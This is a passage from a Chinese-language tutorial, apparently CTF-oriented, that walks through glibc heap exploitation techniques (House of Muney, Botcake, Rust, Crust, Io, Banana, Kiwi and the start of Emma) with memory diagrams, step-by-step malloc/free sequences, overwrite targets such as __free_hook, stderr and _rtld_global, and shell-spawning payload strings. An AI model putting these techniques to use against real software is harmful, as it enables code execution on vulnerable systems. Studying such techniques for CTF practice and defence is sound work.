| prev_size: [被垃圾数据覆盖] |
| size: 0x25 | <--- 极其致命!打上了非主线程烙印!
+------------------------------------+
| Chunk A 用户数据... |
+------------------------------------+
然后free(A)
系统检查 A 的大小,发现是 0x25,提取出 N 标志位为 1。
系统得出结论:“Chunk A 不属于主线程,我得去找它的专属 Arena!”
系统将 A 的堆地址 0x55...00010020,无脑向低地址对齐到 64MB 的整数倍。 由于 0x55... 这个常规堆区(通常没有 64MB 那么大)在对齐后,得到的基地址可能是 0x55...00000000。 (注:在最严谨的实战中,为了保证对齐后的地址落在我们可控的 Chunk M 里,黑客往往会利用 mmap 将 Chunk A 本身也分配在高位地址,或者通过堆喷射控制整个 0x55 区域的对齐边界。只要对齐后的地址在我们手里,逻辑就成立。假设对齐后落在了我们伪造的边界上。)
系统读取对齐边界处的 ar_ptr,拿到了 Fake Arena 的地址。
系统执行 Fastbin 插入:将 Chunk A 的地址,写入 Fake_Arena -> fastbinsY[idx]
[ 状态三:任意地址写完成 ]
因为 fastbinsY[idx] 的物理坐标就是 Target:
[ 目标内存 Target (例如某个 GOT 表入口) ]
覆盖前: [ 真实函数的地址 ]
覆盖后: [ 0x55...00010020 (Chunk A 的绝对堆地址) ]
House of Muney
适用版本:2.23—— 至今
堆溢出
当你的程序申请了一个远超 mmap_threshold(通常是 128KB,即 0x20000)的内存时,glibc 会果断放弃堆区,直接调用内核系统调用 mmap 去分配
连续申请两个超大块
执行 malloc(0x40000),得到 Chunk O
执行 malloc(0x40000),得到 Chunk A
在很多 Linux 发行版的默认配置下,内核为了防止内存碎片,会将连续的 mmap 请求映射在物理上紧紧相邻的区域。由于 mmap 区通常向低地址生长,后申请的块往往在先申请的块的下方(更高地址处)
绝对物理地址
(低地址)
0x7f...000000 +------------------------------------+ <--- Chunk O (0x40000) 的起始
| Chunk O 的头部 (mmap_chunk Header) |
| Size: 0x40002 | <--- (末位 2 代表 mmap 标志)
+------------------------------------+ <--- Chunk O 的用户数据区起始
| |
| [ 我们拥有写入权限的 0x40000 空间] |
| |
| |
0x7f...040000 +====================================+ <--- Chunk O 的物理结尾
+------------------------------------+ <--- Chunk A (受害者) 的物理起始
| Chunk A 的头部 (Header) |
| Size: 0x40002 | <--- 这里就是我们要篡改的目标!
+------------------------------------+ <--- Chunk A 的数据区起始
| |
| |
0x7f...080000 +====================================+ <--- Chunk A 的物理结尾
因为 libc.so.6 本身也是程序启动时通过 mmap 加载进内存的,所以新分配的 Chunk A,极其容易被内核紧紧贴在 libc.so.6 的“上方”(也就是低地址处)
[ 状态一:物理内存的紧密贴靠 (低地址在上,高地址在下) ]
绝对内存地址
0x7f...040000 +------------------------------------+
| Chunk A 头部 (mmap 块) |
| Size: 0x40002 | <--- (末尾的 2 代表 IS_MMAPPED 标志位)
+------------------------------------+
| Chunk A 的用户数据区 |
| (大小刚好是 0x40000) |
0x7f...080000 +====================================+ <--- 致命的楚河汉界 (完美接壤)
| libc.so.6 的 ELF Header |
| (包含关键的 Program Headers) |
+------------------------------------+
| libc.so.6 的动态链接结构区 |
| (包含 .hash, .dynsym, .dynstr 等) | <--- 占用约 0x5000 大小
0x7f...085000 +------------------------------------+
| libc.so.6 的代码段 (.text 等) |
| ... |
+------------------------------------+
程序在后续的逻辑中,如果对 chunk_O 进行写入操作时,没有做严格的边界检查(Bounds Check),这就构成了一个经典的堆溢出漏洞
那么我们就可以利用这个漏洞越界写(OOB)或任意地址写漏洞,去修改 Chunk A 的头部
核心机制: 对于带有 IS_MMAPPED 标志位的块,glibc 的 free() 根本不去检查什么垃圾桶,它只做一件事:读取 Size,然后直接调用内核函数 munmap(chunk_address, size)
我们将 Chunk A 的 Size 从 0x40002 强行改为 0x45002
然后 free(A)
glibc 看到 Chunk A 带有 mmap 标志,毫不犹豫地准备将其交还给操作系统。
glibc 读取 Size,得到 0x45000
glibc 向内核下达死命令:munmap(0x7f...040000, 0x45000)。
Linux 内核是一个绝对服从的机器,它直接将从 0x7f...040000 开始,向下横跨 0x45000 字节的所有内存页,全部从页表中抹除(Unmap)
此时,libc.so.6 赖以生存的符号表、哈希表、字符串表,已经连同 Chunk A 一起被内核收回了
接着我们立刻执行 malloc(0x45000)
内核为了省事,大概率会直接把刚才那个被掏空的 0x45000 大小的区域,重新分配给你
你现在拥有了写入这块区域的绝对权力。你拿着原本属于 libc 头部的坐标,往里面疯狂灌注精心伪造的 ELF 动态链接结构
接下来,你只需要在程序中,触发一次原本应该调用的库函数(比如程序接下来正常执行了一句 puts("Hello");)
- 程序跳入 PLT 表,准备解析
puts的真实地址。 - 系统调用动态链接器核心组件
_dl_runtime_resolve。 - 链接器去内存里寻找
libc的符号表,结果直接读到了你伪造的那张表! - 链接器以为自己在查
puts,实际上根据你伪造的索引,它查到了system的地址。 - 链接器把
system的地址填入 GOT 表,并跳转执行。 - 如果你提前控制了
rdi寄存器(参数为/bin/sh),get shell
House of Botcake
适用版本:2.26—— 至今
double free
我们连续申请 10 个大小相同(且大于 0x80,通常选 0x100 或 0x110)的堆块
[ 状态零:开局物理内存布局 ]
+-------------------+
| Chunk T1 ~ T7 | ---> 连续 7 个 0x100 的块。
| (0x100 * 7) | ---> 角色:Tcache 填充物 (Filler)
+-------------------+
| Chunk A (0x100) | ---> 角色:合并用的上半块 (Top Half)
+-------------------+
| Chunk B (0x100) | ---> 角色:真正的受害者 (The Victim)
| | ---> 前提:程序存在漏洞,允许我们 free(B) 两次!
+-------------------+
| Chunk C (0x20) | ---> 角色:永远的隔离墙 (Guard)
| | ---> 作用:防止 B 与 Top Chunk 合并
+-------------------+
| Top Chunk |
+-------------------+
我们要刻意制造一种“Tcache 已经装不下”的假象。
动作: 依次执行 free(T1) 到 free(T7)
Tcache [0x100] 的桶被塞满(Count = 7)。此时系统立下死规矩:接下来任何人再释放 0x100 的块,Tcache 拒收,必须走慢速通道扔进 Unsorted Bin
然后free(A) 系统一看 Tcache 满了,直接把 Chunk A 扔进 Unsorted Bin
free(B) 系统处理 Chunk B 时,由于 Tcache 依然是满的,它准备把 B 也扔进 Unsorted Bin
在放进 Unsorted Bin 之前,系统会检查 B 物理位置上方(低地址)的相邻块。发现上面的 Chunk A 也是空闲的, 系统立刻执行合并操作:把 A 和 B 融合成一个巨大的块(大小为 0x200),挂入 Unsorted Bin
[ 状态一:合并后的空间折叠现场 ]
+-------------------+ \
| Chunk A 的头部 | |
| Size ===> 0x201 | |
+-------------------+ |
| Chunk A 数据区 | |
+-------------------+ | ===> 系统眼中:这是一个躺在 Unsorted Bin 里的 0x200 完整大块!
| Chunk B 的头部 | | (它根本不知道 B 曾经是一个独立的块)
| (已被当做普通数据)| |
+-------------------+ |
| Chunk B 数据区 | |
+-------------------+ /
| Chunk C (Guard) |
+-------------------+
执行 malloc(0x100)
系统优先从 Tcache [0x100] 里拿走了一个块(比如 T7)交给你
Tcache [0x100] 的 Count 减 1 变成了 6,腾出了 1 个空位
再次执行 free(B)
系统收到 free(B),检查 B 原本的头部,认为它是个 0x100 的块。
系统去查 Tcache [0x100],发现 Count = 6,有空位,准备接收!
【安检时刻】:系统检查 B 里面的 key,看看它是不是已经被释放过了。
【安检通过】:因为 B 在第二步被放入的是unsorted bin,肚子里根本没有 key
系统得出结论:“合法释放!将其放入 Tcache!”
[ 状态二:完美的 Overlap (重叠) 形成! ]
【Unsorted Bin 视角】
+-------------------+
| 包含 A+B 的 0x200 | ---> 它认为这一整块 0x200 都是它的领地。
| 的超级大块 |
+-------------------+
【Tcache [0x100] 视角】
+-------------------+
| 指向 Chunk B 地址 | ---> 它认为 B 是一个独立合法的 0x100 块。
+-------------------+
(奇观出现:Chunk B 既被包含在 Unsorted Bin 的大块里,又独立挂在 Tcache 的链表上!)
最后执行 malloc(0x200)
系统会把 Unsorted Bin 里那个 0x200 的超级大块(A+B)完完整整地交给你。 你现在可以直接跨过 A 的区域,向下覆写 Chunk B 的头部和数据区
[ 状态三:物理篡改现场 ]
你正在编辑刚拿到的 0x200 内存 (起始地址在 A):
+0x000: [ 随便写点垃圾数据填满 A ]
...
+0x100: [ 写入 00 00 00 00 00 00 00 00 ] ===> 物理覆盖 Chunk B 的 prev_size
+0x108: [ 写入 0x101 (伪造合法 Size) ] ===> 物理覆盖 Chunk B 的 size
+0x110: [ 写入 __free_hook 的绝对地址! ] ===> 物理覆盖 Chunk B 的 next (fd) 指针!
+0x118: [ 随便写点垃圾数据... ]
可以把 __free_hook 写进了 B 的 next (fd) 指针里。而 B 此时正是 Tcache [0x100] 的链表头!
系统眼里的 Tcache 变成了这样: Tcache [0x100] ===> [ Chunk B ] ---> [ __free_hook 的绝对地址 ]
最后malloc(0x100):成功拿到 __free_hook所在的内存!写入system` 拿下 Shell
House of Rust
适用版本:2.26—— 至今
堆溢出,Double Free
前置知识:
在 glibc 2.26 引入 Tcache 之后,系统需要一个地方来记录“各个尺寸的桶里现在有几个块(counts)”以及“各个桶的链表头指针在哪(entries)”
这个负责记录数据的结构体,就是 tcache_perthread_struct
它存在于每个线程所属堆区(Heap)的最开头
当你的程序启动,第一次调用哪怕是最简单的 malloc(8) 时,glibc 会在底层向操作系统申请一大块内存(比如 132KB 的初始堆区)。 然后,glibc 会自作主张地从这块内存的绝对最顶部,切下第一块肉(大小通常是 0x250 或 0x290),专门用来存放这个管理结构体
[ 堆区的绝对物理起点 (Heap Base) ]
绝对地址
0x55...000000 +------------------------------------+
| 头部: prev_size (0) , size (0x251) | <--- 这是堆上的第 1 个 Chunk!
0x55...000010 +====================================+ <--- tcache_perthread_struct 的真正起点!
| counts 数组 (2字节 * 64个桶) |
| [0x20的个数] [0x30的个数] ... | ---> 比如 [ 7, 0, 2, ... ]
0x55...000090 +------------------------------------+
| entries 数组 (8字节 * 64个桶) | <--- 极其致命的指针区!
| entries[0] (0x20的链表头) | ===> 指向某个 0x20 的堆块
| entries[1] (0x30的链表头) | ===> 0 (为空)
| ... |
| entries[7] (0x90的链表头) | ===> 指向某个 0x90 的堆块
| ... |
0x55...000250 +====================================+
| 头部: prev_size, size | <--- 这是堆上的第 2 个 Chunk (你第一次 malloc 拿到的块)
+------------------------------------+
| 你的用户数据... |
TSU (tcachebin stash unlinking)技巧:
tcachebin[A]为空smallbin[A]有8个- 修改第
8个smallbin chunk的bk为addr - 分配
malloc(A)的时候,addr+0x10会被写一个libc地址
TSU+ (tcachebin stash unlinking+)技巧:
tcachebin[A]为空smallbin[A]有8个- 修改第
7个smallbin chunk的bk为addr,还要保证addr+0x18是一个合法可写的地址 - 分配
malloc(A)的时候,addr会被链入到tcachebin,也就是可以分配到addr处
假设我们选定操作的 Size 是 0x90
先准备堆块如下:
[ 状态零:我们需要的初始物理内存块 (申请阶段) ]
+-------------------+
| tcache 控制中枢 | ---> (系统自动建好的第一个块,大小 0x250)
+-------------------+
| Chunk T1 ~ T7 | ---> 连续申请 7 个 0x90 的块。
| (0x90 * 7) | ---> 角色:Tcache 填充物 (用于填满 Tcache[0x90])
+-------------------+
| Chunk S1 ~ S7 | ---> 申请 7 个 0x90 的块,其中每申请一个块紧接着申请一个 Guard 块 (0x20)防止合并,这里忽略了
| (0x90 * 7) |
+-------------------+
| Chunk Guard_1 | ---> 隔离墙,防止合并
+-------------------+
| Chunk O (0x20) | ---> 角色:溢出源 (Weapon)。具有跨界写漏洞。
+-------------------+
| Chunk S8 (0x90) | ---> 角色:受害者 (Victim)。这是 Small Bin 的第 8 个块。
| | ---> 它的头部将承受 Chunk O 的无情溢出!
+-------------------+
| Chunk Guard_2 | ---> 隔离墙,防止 S8 释放时与 Top Chunk 合并
+-------------------+
| TOP Chunk |
+-------------------+
按照 glibc 的规则,块被释放后,必须先塞满 Tcache,多出来的才能进 Unsorted Bin。再经过一次分配,Unsorted Bin 里的块才会被整理进 Small Bin
我们的 pwntools 动作:
- 释放
T1 ~ T7。 —> 此时Tcache [0x90]的 7 个位置全部满员。 - 释放
S1 ~ S8。 —> 因为 Tcache 满了,它们全部掉进 Unsorted Bin。 - 申请一个极大的块(比如
malloc(0x400))。 —> 系统被逼着去整理内存,把S1 ~ S8全部按顺序挂入 Small Bin [0x90] 的双向链表中 - 申请走
T1 ~ T7。 —> 把 Tcache [0x90] 彻底清空**
[ 状态一:陷阱布置完毕的双向链表 ]
此时,Tcache [0x90] 是空的。
Small Bin [0x90] 里挂着 8 个块,形成双向链表:
头部 ===> [ Chunk S1 ] <===> [ S2 ] <===> ... <===> [ Chunk S7 ] <===> [ Chunk S8 ] <=== 尾部
现在,触发 TSU 搬运机制的先决条件满足了:Tcache 为空,且 Small Bin 里有货
我们往 Chunk O 里写入超长数据,把small bin里最后一个chunk S8的size 改成 0xb0
然后我们l利用Double Free对 S8 执行 free
因为它的 Size 变成了 0xb0,而此时 tcachebin[0xb0] 没满,系统会将它放入 tcachebin[0xb0]
致命机制触发: 当一个块进入 Tcache 时,系统会在它的 bk 位置写入 tcache_key(用来防连释)。在 glibc 2.34 之前,这个 key 就是 tcache_perthread_struct + 0x10 的绝对堆地址! 我们接着利用溢出漏洞,对这个 bk 指针进行局部覆盖(Partial Overwrite,爆破 1/16),修改它的末尾两个字节,让它精准指向我们想要劫持的目标区域(比如中枢的 entries 数组)
[ 状态三:S8 的 bk 成功拿到中枢地址并被微调 ]
【被篡改的 Chunk S8 (依然挂在 Small Bin [0x90] 的链表上!)】
+------------------------------------+
| Size: 0xb1 (被强行改为 0xb0 级别) |
+------------------------------------+
| fd: [ 指向 S7] |
| bk: 0x55xxxxxx0050 | <--- 这里的堆地址被我们微调,精准指向了中枢内部!
+------------------------------------+
我们即将在下一步触发 TSU+(Tcache Stash Unlinking+),TSU+会顺着 S8 的 bk 把目标地址搬进 Tcache,但 TSU+底层会执行一次完整的 unlink 操作,它会检查 Target->bk 是不是一个可写的合法地址,如果不是,程序当场崩溃。
所以,我们需要利用 Large Bin Attack 的“任意地址写堆地址”特性,先往 S8->bk->bk 的位置强行塞入一个合法的堆地址,把坑垫平
垫平后,我们连续 7 次 malloc(0x90),把第一步填满的 tcachebin[0x90] 全部抽空
接着调用 malloc(0x90)
系统来到 Small Bin,把 S8 拿走交给你。
系统开始搬运!它顺着 S8 的 bk 往回摸,摸到了 TARGET (控制中枢)!
系统把 TARGET 塞进 Tcache[0x90]
[ 状态三:中枢被挂载 ]
Tcache [0x90] 链表:
头部 ===> [ tcache_perthread_struct (TARGET) ] ---> ...
再执行一次 malloc(0x90),你就拿到了整个堆控制中枢的写入权
新的堆风水
- 申请 7 个
0xA0的块(填满Tcache[0xA0])。 - 申请 1 个
0xA0的块(设为 N1),以及它的 Guard 隔离块。 - 释放它们,将 N1 送入
Small Bin[0xA0
利用堆溢出,改写 N1 的 bk 指针。 这次我们不搞 TSU+ 那种塞入 Tcache 的复杂操作,我们只想要 TSU 脱链时的副作用(bck->fd = libc地址)。 我们将 N1 的 bk 改为:tcache_perthread_struct + 0x80 - 0x10。 (减去 0x10 是因为底层是往 bk + 0x10 的位置写地址,这样就能精准写到中枢的 +0x80 处。)
连续 malloc 抽空 Tcache[0xA0]
再次执行 malloc(0xA0)
系统从 Small Bin 拿走 N1,触发 TSU 搬运
解链 N1 时,系统执行 bck->fd = libc地址
结果就是系统将 libc 内部的 main_arena 地址,直接写到了 tcache_perthread_struct + 0x80 的位置(也就是 entries[0x20] 的位置)
在上一步你已经获得了整个tcache_perthread_struct 的写入权,
虽然你不知道 +0x80 位置的那个 libc 地址具体是多少(因为有 ASLR 随机化),但你可以直接覆写它的最后两字节
你通过写入你手里的这块内存,把 +0x80 位置的最后两个字节改成 _IO_2_1_stdout_ 的偏移。 现在,那个 libc 地址从 main_arena 变成了 stdout 的地址
然后执行 malloc(0x20),系统去查 Tcache[0x20] 的链表头(也就是 entries[0x20]),直接把 stdout 的内存分配给你
你手里的中枢内存 (偏移 +0x80 处):
TSU 砸入的初始状态:[ 0x7fxxxxxxB0A0 (main_arena) ](entries[0x20])
你原地写入两字节: [ B6A0 ]
系统眼里的链表头: [ 0x7fxxxxxxB6A0 (_IO_2_1_stdout_) ] ===> malloc(0x20) 直接拿走
往 stdout 里写入伪造的 _flags 和 _IO_write_base 等字段(经典的 FSOP 泄露技巧)
程序接下来随便调用一句 puts,就会把真实的 libc 基地址全部喷泄到终端上
算出 __free_hook 的真实绝对地址(libc_base + offset)。
在你手里的 tcache_perthread_struct 内存中,把 __free_hook 的地址写入 entries[0x40]。
执行 malloc(0x40),拿到 __free_hook 的内存权
往里面写入 system 函数的地址。
随便 free 一个内容是 "/bin/sh" 的堆块,Shell 弹出
House of Crust
适用版本:2.26——2.37
堆溢出
其实house of crust = house of corrosion + house of rust
在 House of Rust 的第四步结束时,我们已经通过普通的 TSU 操作,让系统把 main_arena(纯正的 libc 地址)写进了我们控制的中枢 tcache_perthread_struct 里
在 Rust 中,我们把 main_arena 的低位改成了 stdout。 而在 Crust 中,我们的目标是:global_max_fast
我们直接在手里这块中枢内存里,对 +0x80 位置的指针进行原地局部覆盖(Partial Overwrite)。
我们修改最后两个字节,使其指向 global_max_fast(需要 1/16 的爆破概率)。
我们执行 malloc(0x20),直接拿到了 global_max_fast 所在的内存!
我们往里面写入一个极其巨大的数字(比如直接写入一个堆地址,或者 0x7fffffff)
【libc 数据段内部】
修改前:global_max_fast = 0x80
修改后:global_max_fast = 0x55xxxxxx0000 (一个巨大的堆地址!)
接下来就是 House of Corrosion 的核心原语:利用 Fastbin 数组越界(Out-of-Bounds)实现 libc 任意地址写堆地址
在 libc 的 main_arena 里,有一个专门存放 Fastbin 链表头的数组,叫 fastbinsY。 当你 free(大小为 S 的块) 时,系统会用公式计算索引:idx = (S - 0x20) / 0x10。 然后执行:main_arena.fastbinsY[idx] = 你的堆块地址
因为 global_max_fast 已经被我们改成了天文数字,系统现在不再检查 idx 是否越界了!
这意味着,只要我们精心构造一个超大尺寸的 Chunk(设为 Chunk C),让它算出来的 idx 刚好跨出 fastbinsY 数组,延伸到 main_arena 下方的 _IO_2_1_stderr_ 指针所在的位置,然后释放它
算出 stderr 距离 fastbinsY 的偏移差(假设是 0x1000 字节)
反推需要的 Chunk Size:Size = 0x1000 * 2 + 0x20(大概计算逻辑)
我们在堆上伪造一个这么大的 Chunk C,然后执行 free(C)
系统算出 idx,直接把 Chunk C 的绝对堆地址,精准地砸在了 stderr 的全局指针上
【libc 数据段的物理空间】
main_arena:
fastbinsY[0]
...
fastbinsY[9]
[ 正常的 libc 数据区 ... ]
...
_IO_2_1_stderr_ 指针 ===> [ 被越界覆盖为 Chunk C 的绝对堆地址! ]
我们在 Chunk C 的内存里,精心布置一个假的 _IO_FILE 结构体
我们在它的 vtable(虚函数表)指针里,填入附近某个被废弃块留下的 libc 地址,并利用局部覆盖(Partial Overwrite)把它微调成 one_gadget 的绝对地址
然后我们故意制造一个极其低级的错误(比如连续 free 同一个块,或者毁掉某个块的 Size)
系统检查到错误,调用 malloc_printerr 准备向终端打印报错信息
打印报错信息必须经过 stderr 文件流!系统顺着被我们篡改的指针来到 Chunk C,调用了我们伪造的虚表
指令流直接跳入 one_gadget,拿 Shell
需要注意的是:
2.37之后,house of corrosion使用受限,意味着这个House of Crust的后半段受限
House of Io
适用版本:2.26—— 至今
堆溢出, Arbitrary Free
在 glibc 2.32+ 的 Safe-Linking 机制下,普通的 Chunk 一旦被 free,它的 fd 指针会被加密(fd ^ (地址 >> 12))。 但 tcache_perthread_struct 里面的 entries 数组,绝对不会被加密!系统在 malloc 时,是直接明文读取这里的地址的。
并且,这个控制中枢本身,也是堆上的一块内存。它有一个标准的 Chunk 头部。在很多 64 位系统中,它的大小刚好是 0x290
[ 状态零:开局的绝对物理现场 ]
0x55...000000 +------------------------------------+
| 头部: prev_size (0) , size (0x291) | <--- 中枢也是个合法的 Chunk
0x55...000010 +====================================+ <--- 中枢的绝对用户数据起始地址
| counts 数组 [ 64 个桶的计数器 ] |
| |
+------------------------------------+
| entries 数组 [ 64 个桶的明文指针 ] | <--- 【这里是明文!】
| [0x20] ===> 0 |
| ... |
| [0x290]===> 0 |
+------------------------------------+
前置条件: 程序必须存在漏洞(比如 Arbitrary Free 任意地址释放,或者能通过 UAF/越界写篡改某个即将被释放的指针),允许我们向系统的 free() 函数,传入 tcache_perthread_struct 的用户数据地址(即 0x55...000010)
执行 free(0x55...000010)
系统收到地址,往回退 0x10 字节读取 Size,发现是 0x291(大小 0x290,前块使用中)
系统去查当前线程的 Tcache [0x290],发现没满
于是系统决定把这块内存挂入 Tcache [0x290] 的链表头上。它去修改 tcache_perthread_struct 里的 entries[0x290] 和 counts[0x290]
[ 状态一:我 把 我 自 己 扔 进 了 垃 圾 桶 ]
系统底层的物理动作:
1. counts[0x290] += 1
2. entries[0x290] = 0x55...000010 (把它自己的地址,写进了自己的数组里)
物理内存透视图:
0x55...000010 +====================================+
| counts 数组 |
| ... |
| counts[0x290] = 1 |
+------------------------------------+
| entries 数组 |
| ... |
| entries[0x290] ===> 0x55...000010 | <--- 完美的闭环死结
+------------------------------------+
此时,由于 Safe-Linking 机制,系统还会在这个块的开头(也就是 counts 数组的位置)写入加密后的 fd。这会破坏一部分 counts 数据,但无所谓,因为 entries 数组在更靠后的位置,完好无损
执行 malloc(0x280)*(注:用户请求 0x280,系统加上 0x10 头部,刚好分配 0x290 的块)*
接着系统就把tcache_perthread_struct这块分配给了用户
然后直接往手里的这块内存(假设 entries[0x20] 的位置),明文写入 __free_hook 的绝对地址
顺手把 counts[0x20] 的值改成 1(假装里面有块)
执行 malloc(0x20)
系统去读 entries[0x20],拿到你写的明文地址,直接把 __free_hook 的内存分配给你
[ 状态二:降维打击,无视 Safe-Linking ]
你手里的中枢:
+------------------------------------+
| counts[0x20] = 1 |
| ... |
| entries[0x20] = [ __free_hook 的绝对地址 ] <--- 没有任何异或加密
+------------------------------------+
最后改_free_hook再触发free就可以了
House of Banana
适用版本:2.23—— 至今
堆溢出
在 glibc 2.30 之后,传统的改 fd/bk 的 Large Bin Attack 被增加了检查(fwd->fd->bk == victim 的双向链表完整性校验)
但是,官方漏掉了对 nextsize 链表(用于连接不同大小的 Large Bin 块)的检查
前置知识:
当你执行 ./pwn 运行一个程序时,操作系统实际上并没有直接去执行你的 main 函数。
真实的流程是:
- 内核把你的程序加载到内存。
- 内核发现你的程序依赖了动态库(比如
libc.so),于是内核先启动了动态链接器ld.so ld.so接管一切。它负责把libc.so加载进来,把printf、malloc这些函数的真实地址填好- 准备工作全部做完后,
ld.so才把控制权交给你程序的main函数 - 当你程序的
main函数return,或者调用了exit()时,控制权又会交还给ld.so,让它来负责“收尸”(清理内存、卸载库)
既然 ld.so 要管理加载进来的各种 .so 文件(你的程序本身、libc.so、libpthread.so 等等),它就必须有一个“全局账本”。
这个全局账本就是一个存在于 ld.so 数据段的超级巨大的结构体,名字叫:_rtld_global
在这个账本里,有一个极其关键的变量:_ns_loaded
_ns代表 Namespace(命名空间,一般程序都在第 0 个命名空间)。loaded代表“已加载的模块”。
_ns_loaded 本质上是一个指针。它指向了一个双向链表的头部。这个链表里的每一个节点,叫做 link_map
什么是 link_map? 你可以把它理解为每个 .so 文件在内存里的“身份证”。里面记录了这个库的基地址(l_addr)、名字(l_name)、以及各种函数表和数据段在内存里的偏移(l_info 数组)
当程序结束(exit),ld.so 派出了它的收尸人:_dl_fini 函数
_dl_fini 的任务是:去执行每一个加载了的 .so 文件里的析构函数(即在这个库里写好的清理代码)
_dl_fini 的真实工作流:
- 找到花名册: 读取
_rtld_global._ns_loaded,拿到链表头。 - 挨个点名: 顺着链表,遍历每一个
link_map。 - 寻找遗言: 在每个
link_map的l_info数组里,寻找代表“析构函数数组”的标签(即DT_FINI_ARRAY)。 - 执行遗言: 如果找到了
DT_FINI_ARRAY,就把它当成一个函数指针数组,从后往前,挨个call执行
了解之后就可以开始利用
先布置堆块布局如下:
+-------------------+
| Chunk O (0x20) |
+-------------------+
| Chunk L1 (0x420) |
+-------------------+
| Guard 1 (0x20) | <--- 隔离墙
+-------------------+
| Chunk L2 (0x400) |
+-------------------+
| Guard 2 (0x20) | <--- 隔离墙
+-------------------+
提前向 Chunk L2 写入伪造的 DT_FINI_ARRAY 指针、假的 _IO_FILE 结构、l_init_called = 1 等等
free(L1) L1进入unsorted bin
malloc(0x430)申请一个比L1更大的块
系统在处理 malloc(0x430) 时,去查 Unsorted Bin,发现里面的 L1 (0x420) 尺寸不够。然后把 L1 摘下来,挂进了 Large Bin
【躺在 Large Bin 里的 Chunk L1】
+0x00: prev_size, size (0x421)
+0x10: fd, bk (正常的 Large Bin 指针)
+0x20: fd_nextsize, bk_nextsize (指向它自己,因为目前桶里只有它一个)
利用程序的堆溢出漏洞,编辑 Chunk O,写入超长数据,跨界覆盖物理相邻的 Chunk L1
我们要改的是 L1 的 bk_nextsize
改成:&_rtld_global._ns_loaded - 0x20
+0x00: prev_size, size (原样恢复,防止报错)
+0x10: fd, bk (原样恢复)
+0x20: fd_nextsize (无所谓)
+0x28: bk_nextsize ===> [ &_rtld_global._ns_loaded - 0x20 ] <--- 改的这里
接着是Large bin attack
free(L2) ,L2进入unsorted bin
再次申请malloc(0x430) ,系统整理L2进入Large bin
系统判断:L2 (0x400) 比 L1 (0x420) 小,应该插在 L1 的后面(维护 nextsize 链表的顺序)
系统执行 C 源码:fwd->fd->bk_nextsize = victim; (翻译成物理动作:L1->bk_nextsize->fd_nextsize = L2的绝对堆地址)
即(&rtld_global.ns_loaded – 0x20) + 0x20 = Chunk L2 的绝对堆地址
【ld.so 数据段的 _rtld_global 结构体】
+------------------------------------+
| ... |
| _ns_loaded ===> [ Chunk L2 的绝对堆地址]
| ... |
+------------------------------------+
输入特定的菜单选项让程序退出,或者让 main 函数正常 return,触发底层的 exit()
exit() 启动 _dl_fini 准备卸载动态库。
_dl_fini 读取 _ns_loaded 链表头,结果直接读到了你的 Chunk L2!
_dl_fini 把 Chunk L2 强行解析为一个 link_map 结构体。
它读取了你在第一步就伪造好的 l_init_called、l_info[DT_FINI_ARRAY] 等参数。
顺着你伪造的指针,它找到你填写的 system 或者 one_gadget 函数地址。
call 指令执行,拿到 Shell
House of Kiwi
适用版本:2.23——2.36
堆溢出
先布置堆结构如下:
[ 状态零:开局物理布局 ]
+-------------------+
| Chunk F (0x200) | <--- 我们的假文件流,现在是空的。
+-------------------+
| Chunk T1 (0x20) |
+-------------------+
| Chunk T2 (0x20) | <--- 假设我们能通过某个漏洞(如溢出)改写它的 fd。
+-------------------+
| Chunk O (0x20) |
+===================+
| Top Chunk |
| size: 0x20f00 |
+-------------------+
向 Chunk F 写入伪造的 _IO_FILE 结构。
- 偏移 0x00 (
_flags):写入"\x20\x80;sh||"。(既绕过 _lock 检查,又包含了 Shell 命令) - 偏移 0xC0 (
_mode):写入0x00000000。 - 偏移 0xD8 (
vtable):写入_IO_file_jumps - 0x20的绝对地址。(为了让系统在调用偏移 0x38 的函数时,错位执行到_IO_file_overflow)
然后free(T1), free(T2)
此时 Tcache[0x20] 的链表是: 头部 ===> T2 ===> T1 ===> 0
假设我们利用 F 或 T1 的某种溢出/UAF,改写了 T2 的 fd (next 指针)
此时 Tcache[0x20] 的链表变成了: 头部 ===> T2 ===> [ stderr 的绝对地址 ]
然后连续两次malloc(0x20)
第一次把T2拿走,第二次拿到stderr 所在的内存
往 stderr 里写入 Chunk F 的绝对地址
利用程序的堆溢出漏洞,向 Chunk O 写入超长数据,直接跨越物理边界,覆盖掉紧挨在它下方的 Top Chunk 的头部。
我们将 Top Chunk 原本合法的巨大 Size(比如 0x20f01),极其暴力地改成一个小到不合法的数字,比如 0x10
[ 状态一:现场布置完毕 ]
+-------------------+
| Chunk O (溢出源) |
| [ 你的恶意数据 ] |
+===================+ <--- 物理边界被踏破!
| Top Chunk 头部 |
| prev_size: 0x00 |
| size: 0x11 | <--- 极其致命!(末位 1 代表前块在用,实际大小 0x10)
+-------------------+
| 剩下的荒野内存... |
然后malloc(0x1000) ,系统一看Tcache、Fastbin、Small Bin 甚至 Unsorted Bin 统统装不下
准备从 Top Chunk 里切一块,却发现Top Chunk的size根本不够
断言触发 (Assert):系统底层源码执行:assert (chunksize (old_top) >= MINSIZE); 发现 0x10 < 0x20
系统放弃执行,调用 __malloc_assert 函数
__malloc_assert内部调用了格式化输出函数__fxprintf。__fxprintf需要通过系统的标准错误流来打印,于是它去获取stderr指针。- 它拿到了我们在第二步强行塞进去的
Chunk F的地址。 - 它将
Chunk F强行解析为一个_IO_FILE结构体,并试图调用虚表里的刷新函数(偏移0x38)。 - 它读取了我们伪造的虚表基址(
_IO_file_jumps - 0x20),加上0x38的偏移。 - 它精准地定位到了 libc 内部的
_IO_file_overflow函数。 - 系统执行
call _IO_file_overflow,并且默认将文件流本身(即Chunk F的首地址)作为第一个参数rdi传入。
因为 Chunk F 的开头被我们写成了 "\x20\x80;sh||",只要后续利用链顺着 overflow 的逻辑跳转到了 system(rdi),那么: system("\x20\x80;sh||") 就会被完美执行,终端弹出
House of Emma
适用版本:2.23—— 至今
堆溢出
前置知识:
什么是 TLS (Thread Local Storage)?
在多线程程序里,每个线程都需要有一些自己私有的全局变量(比如记录当前线程有没有报错的 errno)。这块专门给单个线程使用的私有内存,就叫 TLS。
在这块内存的头部,有一个叫 tcbhead_t 的结构体,里面存放着两个极其重要的安全数据:
- Canary (金丝雀): 防栈溢出的那个随机数。
pointer_guard(指针守卫): 防指针劫持的秘密密钥。
什么是 pointer_guard?
你可以把它理解为“系统随机生成的 8 字节密码”。
每次程序启动时,内核会生成一个绝对随机的 64 位数字存放在这里。它的物理位置紧紧挨着 Canary。只要你不泄露它,你就永远不知道这个密码是多少。
什么是 PTR_MANGLE 和 PTR_DEMANGLE?
这是 glibc 源码里的两个宏定义,代表着“加密(Mangle)”和“解密(Demangle)”。
